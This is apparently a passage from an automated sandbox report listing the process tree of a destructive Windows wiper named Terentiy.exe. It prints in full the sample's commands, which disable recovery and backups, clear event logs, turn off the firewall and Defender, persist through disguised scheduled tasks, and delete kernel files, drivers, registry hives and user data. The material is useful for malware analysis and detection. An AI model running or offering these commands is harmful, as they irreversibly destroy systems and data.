    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} safeboot minimal >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3260
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} safeboot minimal
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:692
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2156
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil cl System >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2364
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl System
    3⤵
    - Clears Windows event logs
    PID:216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil cl Setup >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4620
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Setup
    3⤵
    - Clears Windows event logs
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil cl Security >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3092
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Security
    3⤵
    - Clears Windows event logs
    PID:5088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c netsh advfirewall set allprofiles state off >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4320
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3864
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    PID:248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:3444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul 2>&1
  2⤵
  PID:1888
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul 2>&1
  2⤵
  PID:3908
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:5080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3248
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
    3⤵
    PID:2748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\Drivers\pci.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3960
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Drivers\pci.sys
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c mountvol Z: /D >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2468
- - C:\Windows\system32\mountvol.exe
    mountvol Z: /D
    3⤵
    PID:1940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  PID:3608
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1920
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\Drivers\pci.sys /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4628
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Drivers\pci.sys /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4724
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\Drivers\pci.sys >nul 2>&1
  2⤵
  PID:2988
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\Drivers\ntfs.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1876
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Drivers\ntfs.sys
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4280
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\Drivers\ntfs.sys /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2408
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Drivers\ntfs.sys /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\Drivers\ntfs.sys >nul 2>&1
  2⤵
  PID:2056
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\Drivers\vmbus.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3520
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Drivers\vmbus.sys
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\Drivers\vmbus.sys /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2276
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Drivers\vmbus.sys /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\Drivers\vmbus.sys >nul 2>&1
  2⤵
  PID:1480
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\Drivers\ndis.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5060
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Drivers\ndis.sys
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:420
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\Drivers\ndis.sys /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3912
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Drivers\ndis.sys /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3296
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\Drivers\ndis.sys >nul 2>&1
  2⤵
  PID:3528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\Drivers\tcpip.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2960
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Drivers\tcpip.sys
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4860
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\Drivers\tcpip.sys /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2060
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Drivers\tcpip.sys /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4428
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\Drivers\tcpip.sys >nul 2>&1
  2⤵
  PID:3160
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\ntoskrnl.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2476
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\ntoskrnl.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3192
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\ntoskrnl.exe /grant administrators:F >nul 2>&1
  2⤵
  PID:1808
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\ntoskrnl.exe /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\ntoskrnl.exe >nul 2>&1
  2⤵
  PID:8
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\hal.dll >nul 2>&1
  2⤵
  PID:4988
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\hal.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4600
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\hal.dll /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2588
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\hal.dll /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\hal.dll >nul 2>&1
  2⤵
  PID:300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\winload.efi >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4072
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\winload.efi
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2576
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\winload.efi /grant administrators:F >nul 2>&1
  2⤵
  PID:1032
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\winload.efi /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\winload.efi >nul 2>&1
  2⤵
  PID:3804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\bootres.dll >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2056
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\bootres.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\bootres.dll /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:8
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\bootres.dll /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\bootres.dll >nul 2>&1
  2⤵
  PID:4560
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\config\SYSTEM >nul 2>&1
  2⤵
  PID:2180
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\config\SYSTEM
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1332
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\config\SYSTEM /grant administrators:F >nul 2>&1
  2⤵
  PID:2448
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\config\SYSTEM /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\config\SYSTEM >nul 2>&1
  2⤵
  PID:1752
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\config\SOFTWARE >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4460
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\config\SOFTWARE
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3612
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\config\SOFTWARE /grant administrators:F >nul 2>&1
  2⤵
  PID:3592
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\config\SOFTWARE /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\config\SOFTWARE >nul 2>&1
  2⤵
  PID:2652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\config\SAM >nul 2>&1
  2⤵
  PID:4536
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\config\SAM
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4648
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\config\SAM /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3340
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\config\SAM /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\config\SAM >nul 2>&1
  2⤵
  PID:1152
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\config\SECURITY >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4752
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\config\SECURITY
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\config\SECURITY /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1912
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\config\SECURITY /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5080
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\config\SECURITY >nul 2>&1
  2⤵
  PID:5040
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /s /q %USERPROFILE%\Documents\* >nul 2>&1
  2⤵
  PID:4560
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /s /q %USERPROFILE%\Desktop\* >nul 2>&1
  2⤵
  PID:3712
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /s /q %USERPROFILE%\Downloads\* >nul 2>&1
  2⤵
  PID:1916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /s /q %USERPROFILE%\Pictures\* >nul 2>&1
  2⤵
  PID:3296
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /s /q C:\Users\* >nul 2>&1
  2⤵
  PID:2924

C:\Users\Admin\AppData\Local\Temp\Terentiy.exe
C:\Users\Admin\AppData\Local\Temp\Terentiy.exe
1⤵
- UAC bypass
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
- Maps connected drives based on registry
- Checks system information in the registry
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4820
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /SC ONLOGON /RL HIGHEST /TN "WindowsUpdateSvc" /TR "C:\Users\Admin\AppData\Local\Temp\Terentiy.exe" /F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /SC ONLOGON /RL HIGHEST /TN "WindowsUpdateSvc" /TR "C:\Users\Admin\AppData\Local\Temp\Terentiy.exe" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1776
- C:\Windows\system32\cmd.exe
  cmd.exe /c reagentc /disable >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in Windows directory
    PID:4552
- C:\Windows\system32\cmd.exe
  cmd.exe /c mountvol Z: /S >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\mountvol.exe
    mountvol Z: /S
    3⤵
    PID:4188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reagentc /disable >nul 2>&1
  2⤵
  PID:3176
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4380
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4352
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} safeboot minimal >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:920
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} safeboot minimal
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2980
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2544
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil cl System >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1208
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl System
    3⤵
    - Clears Windows event logs
    PID:4724
- C:\Windows\system32\cmd.exe
  cmd.exe /c mountvol Z: /D >nul 2>&1
  2⤵
  PID:4868
- - C:\Windows\system32\mountvol.exe
    mountvol Z: /D
    3⤵
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil cl Setup >nul 2>&1
  2⤵
  PID:4016
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Setup
    3⤵
    - Clears Windows event logs
    PID:60
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4340
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil cl Security >nul 2>&1
  2⤵
  PID:2160
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Security
    3⤵
    - Clears Windows event logs
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c netsh advfirewall set allprofiles state off >nul 2>&1
  2⤵
  PID:4792
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:4116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:472
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    PID:4288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4524
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4980
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul 2>&1
  2⤵
  PID:3144
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:556
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /SC ONSTART /RL HIGHEST /RU SYSTEM /TN "WindowsSystemMonitorSvc" /TR "C:\Users\Admin\AppData\Local\Temp\Terentiy.exe" /F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:972
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /SC ONSTART /RL HIGHEST /RU SYSTEM /TN "WindowsSystemMonitorSvc" /TR "C:\Users\Admin\AppData\Local\Temp\Terentiy.exe" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1792
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
    3⤵
    PID:2756
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\Drivers\pci.sys >nul 2>&1
  2⤵
  PID:2932
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Drivers\pci.sys
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2216
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\Drivers\pci.sys /grant administrators:F >nul 2>&1
  2⤵
  PID:3620
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Drivers\pci.sys /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1788
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\Drivers\pci.sys >nul 2>&1
  2⤵
  PID:4940
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\Drivers\ntfs.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1716
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Drivers\ntfs.sys
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1832
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\Drivers\ntfs.sys /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4592
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Drivers\ntfs.sys /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4028
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\Drivers\ntfs.sys >nul 2>&1
  2⤵
  PID:2080
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\Drivers\vmbus.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4288
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Drivers\vmbus.sys
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:748
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\Drivers\vmbus.sys /grant administrators:F >nul 2>&1
  2⤵
  PID:4520
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Drivers\vmbus.sys /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4516
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\Drivers\vmbus.sys >nul 2>&1
  2⤵
  PID:4088
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\Drivers\ndis.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1540
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Drivers\ndis.sys
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1912
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\Drivers\ndis.sys /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4508
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Drivers\ndis.sys /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4600
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\Drivers\ndis.sys >nul 2>&1
  2⤵
  PID:3472
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\Drivers\tcpip.sys >nul 2>&1
  2⤵
  PID:1544
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Drivers\tcpip.sys
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3668
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\Drivers\tcpip.sys /grant administrators:F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3348
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Drivers\tcpip.sys /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:296
- C:\Windows\system32\cmd.exe
  cmd.exe /c del /f /q C:\Windows\System32\Drivers\tcpip.sys >nul 2>&1
  2⤵
  PID:1940
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Windows\System32\ntoskrnl.exe >nul 2>&1
  2⤵
  PID:4924
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\ntoskrnl.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4208
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Windows\System32\ntoskrnl.exe /grant administrators:F >nul 2>&1
  2⤵
  PID:116
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\ntoskrnl.exe /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1032
- C:\Windows\system32\cmd.exe
